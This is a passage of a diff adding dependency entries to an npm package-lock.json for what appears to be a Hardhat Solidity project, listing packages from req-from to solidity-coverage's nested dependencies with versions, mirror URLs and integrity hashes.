}, + "engines": { + "node": ">=4" + } + }, + "node_modules/req-from": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/req-from/-/req-from-2.0.0.tgz", + "integrity": "sha512-LzTfEVDVQHBRfjOUMgNBA+V6DWsSnoeKzf42J7l0xa/B4jyPOuuF5MlNSmomLNGemWTnV2TIdjSSLnEn95fOQA==", + "dev": true, + "peer": true, + "dependencies": { + "resolve-from": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/request": { + "version": "2.88.2", + "resolved": "https://registry.npmmirror.com/request/-/request-2.88.2.tgz", + "integrity": "sha512-MsvtOrfG9ZcrOwAW+Qi+F6HbD0CWXEh9ou77uOb7FM2WPhwT7smM833PzanhJLsgXjN89Ir6V2PczXNnMpwKhw==", + "deprecated": "request has been deprecated, see https://github.com/request/request/issues/3142", + "dev": true, + "peer": true, + "dependencies": { + "aws-sign2": "~0.7.0", + "aws4": "^1.8.0", + "caseless": "~0.12.0", + "combined-stream": "~1.0.6", + "extend": "~3.0.2", + "forever-agent": "~0.6.1", + "form-data": "~2.3.2", + "har-validator": "~5.1.3", + "http-signature": "~1.2.0", + "is-typedarray": "~1.0.0", + "isstream": "~0.1.2", + "json-stringify-safe": "~5.0.1", + "mime-types": "~2.1.19", + "oauth-sign": "~0.9.0", + "performance-now": "^2.1.0", + "qs": "~6.5.2", + "safe-buffer": "^5.1.2", + "tough-cookie": "~2.5.0", + "tunnel-agent": "^0.6.0", + "uuid": "^3.3.2" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/request-promise-core": { + "version": "1.1.4", + "resolved": "https://registry.npmmirror.com/request-promise-core/-/request-promise-core-1.1.4.tgz", + "integrity": "sha512-TTbAfBBRdWD7aNNOoVOBH4pN/KigV6LyapYNNlAPA8JwbovRti1E88m3sYAwsLi5ryhPKsE9APwnjFTgdUjTpw==", + "dev": true, + "peer": true, + "dependencies": { + "lodash": "^4.17.19" + }, + "engines": { + "node": ">=0.10.0" + }, + "peerDependencies": { + "request": "^2.34" + } + }, + "node_modules/request-promise-native": { + "version": "1.0.9", + "resolved": "https://registry.npmmirror.com/request-promise-native/-/request-promise-native-1.0.9.tgz", + "integrity": "sha512-wcW+sIUiWnKgNY0dqCpOZkUbF/I+YPi+f09JZIDa39Ec+q82CpSYniDp+ISgTTbKmnpJWASeJBPZmoxH84wt3g==", + "deprecated": "request-promise-native has been deprecated because it extends the now deprecated request package, see https://github.com/request/request/issues/3142", + "dev": true, + "peer": true, + "dependencies": { + "request-promise-core": "1.1.4", + "stealthy-require": "^1.1.1", + "tough-cookie": "^2.3.3" + }, + "engines": { + "node": ">=0.12.0" + }, + "peerDependencies": { + "request": "^2.34" + } + }, + "node_modules/request/node_modules/qs": { + "version": "6.5.3", + "resolved": "https://registry.npmmirror.com/qs/-/qs-6.5.3.tgz", + "integrity": "sha512-qxXIEh4pCGfHICj1mAJQ2/2XVZkjCDTcEgfoSQxc/fYivUZxTkk7L3bDBJSoNrEzXI17oUO5Dp07ktqE5KzczA==", + "dev": true, + "peer": true, + "engines": { + "node": ">=0.6" + } + }, + "node_modules/request/node_modules/uuid": { + "version": "3.4.0", + "resolved": "https://registry.npmmirror.com/uuid/-/uuid-3.4.0.tgz", + "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==", + "deprecated": "Please upgrade to version 7 or higher. Older versions may use Math.random() in certain circumstances, which is known to be problematic. See https://v8.dev/blog/math-random for details.", + "dev": true, + "peer": true, + "bin": { + "uuid": "bin/uuid" + } + }, + "node_modules/require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/require-from-string": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/require-from-string/-/require-from-string-2.0.2.tgz", + "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/require-main-filename": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/require-main-filename/-/require-main-filename-2.0.0.tgz", + "integrity": "sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==", + "dev": true, + "peer": true + }, + "node_modules/resolve": { + "version": "1.17.0", + "resolved": "https://registry.npmmirror.com/resolve/-/resolve-1.17.0.tgz", + "integrity": "sha512-ic+7JYiV8Vi2yzQGFWOkiZD5Z9z7O2Zhm9XMaTxdJExKasieFCr+yXZ/WmXsckHiKl12ar0y6XiXDx3m4RHn1w==", + "dev": true, + "dependencies": { + "path-parse": "^1.0.6" + } + }, + "node_modules/resolve-from": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/resolve-from/-/resolve-from-3.0.0.tgz", + "integrity": "sha512-GnlH6vxLymXJNMBo7XP1fJIzBFbdYt49CuTwmB/6N53t+kMPRMFKz783LlQ4tv28XoQfMWinAJX6WCGf2IlaIw==", + "dev": true, + "peer": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/reusify": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/reusify/-/reusify-1.0.4.tgz", + "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", + "dev": true, + "peer": true, + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, + "node_modules/rimraf": { + "version": "2.7.1", + "resolved": "https://registry.npmmirror.com/rimraf/-/rimraf-2.7.1.tgz", + "integrity": "sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==", + "dev": true, + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + } + }, + "node_modules/ripemd160": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/ripemd160/-/ripemd160-2.0.2.tgz", + "integrity": "sha512-ii4iagi25WusVoiC4B4lq7pbXfAp3D9v5CwfkY33vffw2+pkDjY1D8GaN7spsxvCSx8dkPqOZCEZyfxcmJG2IA==", + "dev": true, + "dependencies": { + "hash-base": "^3.0.0", + "inherits": "^2.0.1" + } + }, + "node_modules/rlp": { + "version": "2.2.7", + "resolved": "https://registry.npmmirror.com/rlp/-/rlp-2.2.7.tgz", + "integrity": "sha512-d5gdPmgQ0Z+AklL2NVXr/IoSjNZFfTVvQWzL/AM2AOcSzYP2xjlb0AC8YyCLc41MSNf6P6QVtjgPdmVtzb+4lQ==", + "dev": true, + "dependencies": { + "bn.js": "^5.2.0" + }, + "bin": { + "rlp": "bin/rlp" + } + }, + "node_modules/run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "dev": true, + "peer": true, + "dependencies": { + "queue-microtask": "^1.2.2" + } + }, + "node_modules/run-parallel-limit": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/run-parallel-limit/-/run-parallel-limit-1.1.0.tgz", + "integrity": "sha512-jJA7irRNM91jaKc3Hcl1npHsFLOXOoTkPCUL1JEa1R82O2miplXXRaGdjW/KM/98YQWDhJLiSs793CnXfblJUw==", + "dev": true, + "dependencies": { + "queue-microtask": "^1.2.2" + } + }, + "node_modules/rustbn.js": { + "version": "0.2.0", + "resolved": "https://registry.npmmirror.com/rustbn.js/-/rustbn.js-0.2.0.tgz", + "integrity": "sha512-4VlvkRUuCJvr2J6Y0ImW7NvTCriMi7ErOAqWk1y69vAdoNIzCF3yPmgeNzx+RQTLEDFq5sHfscn1MwHxP9hNfA==", + "dev": true + }, + "node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmmirror.com/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "dev": true + }, + "node_modules/safe-regex-test": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/safe-regex-test/-/safe-regex-test-1.0.0.tgz", + "integrity": "sha512-JBUUzyOgEwXQY1NuPtvcj/qcBDbDmEvWufhlnXZIm75DEHp+afM1r1ujJpJsV/gSM4t59tpDyPi1sd6ZaPFfsA==", + "dev": true, + "peer": true, + "dependencies": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.1.3", + "is-regex": "^1.1.4" + } + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "dev": true + }, + "node_modules/sc-istanbul": { + "version": "0.4.6", + "resolved": "https://registry.npmmirror.com/sc-istanbul/-/sc-istanbul-0.4.6.tgz", + "integrity": "sha512-qJFF/8tW/zJsbyfh/iT/ZM5QNHE3CXxtLJbZsL+CzdJLBsPD7SedJZoUA4d8iAcN2IoMp/Dx80shOOd2x96X/g==", + "dev": true, + "peer": true, + "dependencies": { + "abbrev": "1.0.x", + "async": "1.x", + "escodegen": "1.8.x", + "esprima": "2.7.x", + "glob": "^5.0.15", + "handlebars": "^4.0.1", + "js-yaml": "3.x", + "mkdirp": "0.5.x", + "nopt": "3.x", + "once": "1.x", + "resolve": "1.1.x", + "supports-color": "^3.1.0", + "which": "^1.1.1", + "wordwrap": "^1.0.0" + }, + "bin": { + "istanbul": "lib/cli.js" + } + }, + "node_modules/sc-istanbul/node_modules/argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmmirror.com/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dev": true, + "peer": true, + "dependencies": { + "sprintf-js": "~1.0.2" + } + }, + "node_modules/sc-istanbul/node_modules/async": { + "version": "1.5.2", + "resolved": "https://registry.npmmirror.com/async/-/async-1.5.2.tgz", + "integrity": "sha512-nSVgobk4rv61R9PUSDtYt7mPVB2olxNR5RWJcAsH676/ef11bUZwvu7+RGYrYauVdDPcO519v68wRhXQtxsV9w==", + "dev": true, + "peer": true + }, + "node_modules/sc-istanbul/node_modules/glob": { + "version": "5.0.15", + "resolved": "https://registry.npmmirror.com/glob/-/glob-5.0.15.tgz", + "integrity": "sha512-c9IPMazfRITpmAAKi22dK1VKxGDX9ehhqfABDriL/lzO92xcUKEJPQHrVA/2YHSNFB4iFlykVmWvwo48nr3OxA==", + "dev": true, + "peer": true, + "dependencies": { + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "2 || 3", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/sc-istanbul/node_modules/has-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/has-flag/-/has-flag-1.0.0.tgz", + "integrity": "sha512-DyYHfIYwAJmjAjSSPKANxI8bFY9YtFrgkAfinBojQ8YJTOuOuav64tMUJv584SES4xl74PmuaevIyaLESHdTAA==", + "dev": true, + "peer": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/sc-istanbul/node_modules/js-yaml": { + "version": "3.14.1", + "resolved": "https://registry.npmmirror.com/js-yaml/-/js-yaml-3.14.1.tgz", + "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", + "dev": true, + "peer": true, + "dependencies": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/sc-istanbul/node_modules/js-yaml/node_modules/esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmmirror.com/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "dev": true, + "peer": true, + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/sc-istanbul/node_modules/resolve": { + "version": "1.1.7", + "resolved": "https://registry.npmmirror.com/resolve/-/resolve-1.1.7.tgz", + "integrity": "sha512-9znBF0vBcaSN3W2j7wKvdERPwqTxSpCq+if5C0WoTCyV9n24rua28jeuQ2pL/HOf+yUe/Mef+H/5p60K0Id3bg==", + "dev": true, + "peer": true + }, + "node_modules/sc-istanbul/node_modules/supports-color": { + "version": "3.2.3", + "resolved": "https://registry.npmmirror.com/supports-color/-/supports-color-3.2.3.tgz", + "integrity": "sha512-Jds2VIYDrlp5ui7t8abHN2bjAu4LV/q4N2KivFPpGH0lrka0BMq/33AmECUXlKPcHigkNaqfXRENFju+rlcy+A==", + "dev": true, + "peer": true, + "dependencies": { + "has-flag": "^1.0.0" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/scrypt-js": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/scrypt-js/-/scrypt-js-3.0.1.tgz", + "integrity": "sha512-cdwTTnqPu0Hyvf5in5asVdZocVDTNRmR7XEcJuIzMjJeSHybHl7vpB66AzwTaIg6CLSbtjcxc8fqcySfnTkccA==", + "dev": true + }, + "node_modules/secp256k1": { + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/secp256k1/-/secp256k1-4.0.3.tgz", + "integrity": "sha512-NLZVf+ROMxwtEj3Xa562qgv2BK5e2WNmXPiOdVIPLgs6lyTzMvBq0aWTYMI5XCP9jZMVKOcqZLw/Wc4vDkuxhA==", + "dev": true, + "hasInstallScript": true, + "dependencies": { + "elliptic": "^6.5.4", + "node-addon-api": "^2.0.0", + "node-gyp-build": "^4.2.0" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/semver": { + "version": "6.3.0", + "resolved": "https://registry.npmmirror.com/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/serialize-javascript": { + "version": "6.0.0", + "resolved": "https://registry.npmmirror.com/serialize-javascript/-/serialize-javascript-6.0.0.tgz", + "integrity": "sha512-Qr3TosvguFt8ePWqsvRfrKyQXIiW+nGbYpy8XK24NQHE83caxWt+mIymTT19DGFbNWNLfEwsrkSmN64lVWB9ag==", + "dev": true, + "dependencies": { + "randombytes": "^2.1.0" + } + }, + "node_modules/set-blocking": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/set-blocking/-/set-blocking-2.0.0.tgz", + "integrity": "sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==", + "dev": true, + "peer": true + }, + "node_modules/setimmediate": { + "version": "1.0.5", + "resolved": "https://registry.npmmirror.com/setimmediate/-/setimmediate-1.0.5.tgz", + "integrity": "sha512-MATJdZp8sLqDl/68LfQmbP8zKPLQNV6BIZoIgrscFDQ+RsvK/BxeDQOgyxKKoh0y/8h3BqVFnCqQ/gd+reiIXA==", + "dev": true + }, + "node_modules/setprototypeof": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/setprototypeof/-/setprototypeof-1.2.0.tgz", + "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==", + "dev": true + }, + "node_modules/sha.js": { + "version": "2.4.11", + "resolved": "https://registry.npmmirror.com/sha.js/-/sha.js-2.4.11.tgz", + "integrity": "sha512-QMEp5B7cftE7APOjk5Y6xgrbWu+WkLVQwk8JNjZ8nKRciZaByEW6MubieAiToS7+dwvrjGhH8jRXz3MVd0AYqQ==", + "dev": true, + "dependencies": { + "inherits": "^2.0.1", + "safe-buffer": "^5.0.1" + }, + "bin": { + "sha.js": "bin.js" + } + }, + "node_modules/sha1": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/sha1/-/sha1-1.1.1.tgz", + "integrity": "sha512-dZBS6OrMjtgVkopB1Gmo4RQCDKiZsqcpAQpkV/aaj+FCrCg8r4I4qMkDPQjBgLIxlmu9k4nUbWq6ohXahOneYA==", + "dev": true, + "peer": true, + "dependencies": { + "charenc": ">= 0.0.1", + "crypt": ">= 0.0.1" + }, + "engines": { + "node": "*" + } + }, + "node_modules/shelljs": { + "version": "0.8.5", + "resolved": "https://registry.npmmirror.com/shelljs/-/shelljs-0.8.5.tgz", + "integrity": "sha512-TiwcRcrkhHvbrZbnRcFYMLl30Dfov3HKqzp5tO5b4pt6G/SezKcYhmDg15zXVBswHmctSAQKznqNW2LO5tTDow==", + "dev": true, + "peer": true, + "dependencies": { + "glob": "^7.0.0", + "interpret": "^1.0.0", + "rechoir": "^0.6.2" + }, + "bin": { + "shjs": "bin/shjs" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/side-channel": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/side-channel/-/side-channel-1.0.4.tgz", + "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.0", + "get-intrinsic": "^1.0.2", + "object-inspect": "^1.9.0" + } + }, + "node_modules/slash": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "dev": true, + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/slice-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/slice-ansi/-/slice-ansi-4.0.0.tgz", + "integrity": "sha512-qMCMfhY040cVHT43K9BFygqYbUPFZKHOg7K73mtTWJRb8pyP3fzf4Ixd5SzdEJQ6MRUg/WBnOLxghZtKKurENQ==", + "dev": true, + "peer": true, + "dependencies": { + "ansi-styles": "^4.0.0", + "astral-regex": "^2.0.0", + "is-fullwidth-code-point": "^3.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/slice-ansi/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmmirror.com/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "peer": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/slice-ansi/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "peer": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/slice-ansi/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmmirror.com/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true, + "peer": true + }, + "node_modules/solc": { + "version": "0.7.3", + "resolved": "https://registry.npmmirror.com/solc/-/solc-0.7.3.tgz", + "integrity": "sha512-GAsWNAjGzIDg7VxzP6mPjdurby3IkGCjQcM8GFYZT6RyaoUZKmMU6Y7YwG+tFGhv7dwZ8rmR4iwFDrrD99JwqA==", + "dev": true, + "dependencies": { + "command-exists": "^1.2.8", + "commander": "3.0.2", + "follow-redirects": "^1.12.1", + "fs-extra": "^0.30.0", + "js-sha3": "0.8.0", + "memorystream": "^0.3.1", + "require-from-string": "^2.0.0", + "semver": "^5.5.0", + "tmp": "0.0.33" + }, + "bin": { + "solcjs": "solcjs" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/solc/node_modules/fs-extra": { + "version": "0.30.0", + "resolved": "https://registry.npmmirror.com/fs-extra/-/fs-extra-0.30.0.tgz", + "integrity": "sha512-UvSPKyhMn6LEd/WpUaV9C9t3zATuqoqfWc3QdPhPLb58prN9tqYPlPWi8Krxi44loBoUzlobqZ3+8tGpxxSzwA==", + "dev": true, + "dependencies": { + "graceful-fs": "^4.1.2", + "jsonfile": "^2.1.0", + "klaw": "^1.0.0", + "path-is-absolute": "^1.0.0", + "rimraf": "^2.2.8" + } + }, + "node_modules/solc/node_modules/jsonfile": { + "version": "2.4.0", + "resolved": "https://registry.npmmirror.com/jsonfile/-/jsonfile-2.4.0.tgz", + "integrity": "sha512-PKllAqbgLgxHaj8TElYymKCAgrASebJrWpTnEkOaTowt23VKXXN0sUeriJ+eh7y6ufb/CC5ap11pz71/cM0hUw==", + "dev": true, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/solc/node_modules/semver": { + "version": "5.7.1", + "resolved": "https://registry.npmmirror.com/semver/-/semver-5.7.1.tgz", + "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", + "dev": true, + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/solidity-coverage": { + "version": "0.8.2", + "resolved": "https://registry.npmmirror.com/solidity-coverage/-/solidity-coverage-0.8.2.tgz", + "integrity": "sha512-cv2bWb7lOXPE9/SSleDO6czkFiMHgP4NXPj+iW9W7iEKLBk7Cj0AGBiNmGX3V1totl9wjPrT0gHmABZKZt65rQ==", + "dev": true, + "peer": true, + "dependencies": { + "@ethersproject/abi": "^5.0.9", + "@solidity-parser/parser": "^0.14.1", + "chalk": "^2.4.2", + "death": "^1.1.0", + "detect-port": "^1.3.0", + "difflib": "^0.2.4", + "fs-extra": "^8.1.0", + "ghost-testrpc": "^0.0.2", + "global-modules": "^2.0.0", + "globby": "^10.0.1", + "jsonschema": "^1.2.4", + "lodash": "^4.17.15", + "mocha": "7.1.2", + "node-emoji": "^1.10.0", + "pify": "^4.0.1", + "recursive-readdir": "^2.2.2", + "sc-istanbul": "^0.4.5", + "semver": "^7.3.4", + "shelljs": "^0.8.3", + "web3-utils": "^1.3.6" + }, + "bin": { + "solidity-coverage": "plugins/bin.js" + }, + "peerDependencies": { + "hardhat": "^2.11.0" + } + }, + "node_modules/solidity-coverage/node_modules/ansi-colors": { + "version": "3.2.3", + "resolved": "https://registry.npmmirror.com/ansi-colors/-/ansi-colors-3.2.3.tgz", + "integrity": "sha512-LEHHyuhlPY3TmuUYMh2oz89lTShfvgbmzaBcxve9t/9Wuy7Dwf4yoAKcND7KFT1HAQfqZ12qtc+DUrBMeKF9nw==", + "dev": true, + "peer": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/solidity-coverage/node_modules/ansi-regex": { + "version": "4.1.1", + "resolved": "https://registry.npmmirror.com/ansi-regex/-/ansi-regex-4.1.1.tgz", + "integrity": "sha512-ILlv4k/3f6vfQ4OoP2AGvirOktlQ98ZEL1k9FaQjxa3L1abBgbuTDAdPOpvbGncC0BTVQrl+OM8xZGK6tWXt7g==", + "dev": true, + "peer": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/solidity-coverage/node_modules/argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmmirror.com/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dev": true, + "peer": true, + "dependencies": { + "sprintf-js": "~1.0.2" + } + }, + "node_modules/solidity-coverage/node_modules/camelcase": { + "version": "5.3.1", + "resolved": "https://registry.npmmirror.com/camelcase/-/camelcase-5.3.1.tgz", + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "dev": true, + "peer": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/solidity-coverage/node_modules/chokidar": { + "version": "3.3.0", + "resolved": "https://registry.npmmirror.com/chokidar/-/chokidar-3.3.0.tgz", + "integrity": "sha512-dGmKLDdT3Gdl7fBUe8XK+gAtGmzy5Fn0XkkWQuYxGIgWVPPse2CxFA5mtrlD0TOHaHjEUqkWNyP1XdHoJES/4A==", + "dev": true, + "peer": true, + "dependencies": { + "anymatch": "~3.1.1", + "braces": "~3.0.2", + "glob-parent": "~5.1.0", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.2.0" + }, + "engines": { + "node": ">= 8.10.0" + }, + "optionalDependencies": { + "fsevents": "~2.1.1" + } + }, + "node_modules/solidity-coverage/node_modules/cliui": { + "version": "5.0.0", + "resolved": "https://registry.npmmirror.com/cliui/-/cliui-5.0.0.tgz", + "integrity": "sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==", + "dev": true, + "peer": true, + "dependencies": { + "string-width": "^3.1.0", + "strip-ansi": "^5.2.0", + "wrap-ansi": "^5.1.0" + } + }, + "node_modules/solidity-coverage/node_modules/debug": { + "version": "3.2.6", + "resolved": "https://registry.npmmirror.com/debug/-/debug-3.2.6.tgz", + "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==", + "deprecated": "Debug versions >=3.2.0 <3.2.7 || >=4 <4.3.1 have a low-severity ReDos regression when used in a Node.js environment. It is recommended you upgrade to 3.2.7 or 4.3.1. (https://github.com/visionmedia/debug/issues/797)", + "dev": true, + "peer": true, + "dependencies": { + "ms": "^2.1.1" + } + }, + "node_modules/solidity-coverage/node_modules/decamelize": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/decamelize/-/decamelize-1.2.0.tgz", + "integrity": "sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA==", + "dev": true, + "peer": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/solidity-coverage/node_modules/diff": { + "version": "3.5.0", + "resolved": "https://registry.npmmirror.com/diff/-/diff-3.5.0.tgz", + "integrity": "sha512-A46qtFgd+g7pDZinpnwiRJtxbC1hpgf0uzP3iG89scHk0AUC7A1TGxf5OiiOUv/JMZR8GOt8hL900hV0bOy5xA==", + "dev": true, + "peer": true, + "engines": { + "node": ">=0.3.1" + } + }, + "node_modules/solidity-coverage/node_modules/emoji-regex": { + "version": "7.0.3", + "resolved": "https://registry.npmmirror.com/emoji-regex/-/emoji-regex-7.0.3.tgz", + "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==", + "dev": true, + "peer": true + }, + "node_modules/solidity-coverage/node_modules/esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmmirror.com/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "dev": true, + "peer": true, + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/solidity-coverage/node_modules/find-up": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/find-up/-/find-up-3.0.0.tgz", + "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", + "dev": true, + "peer": true, + "dependencies": { + "locate-path": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + 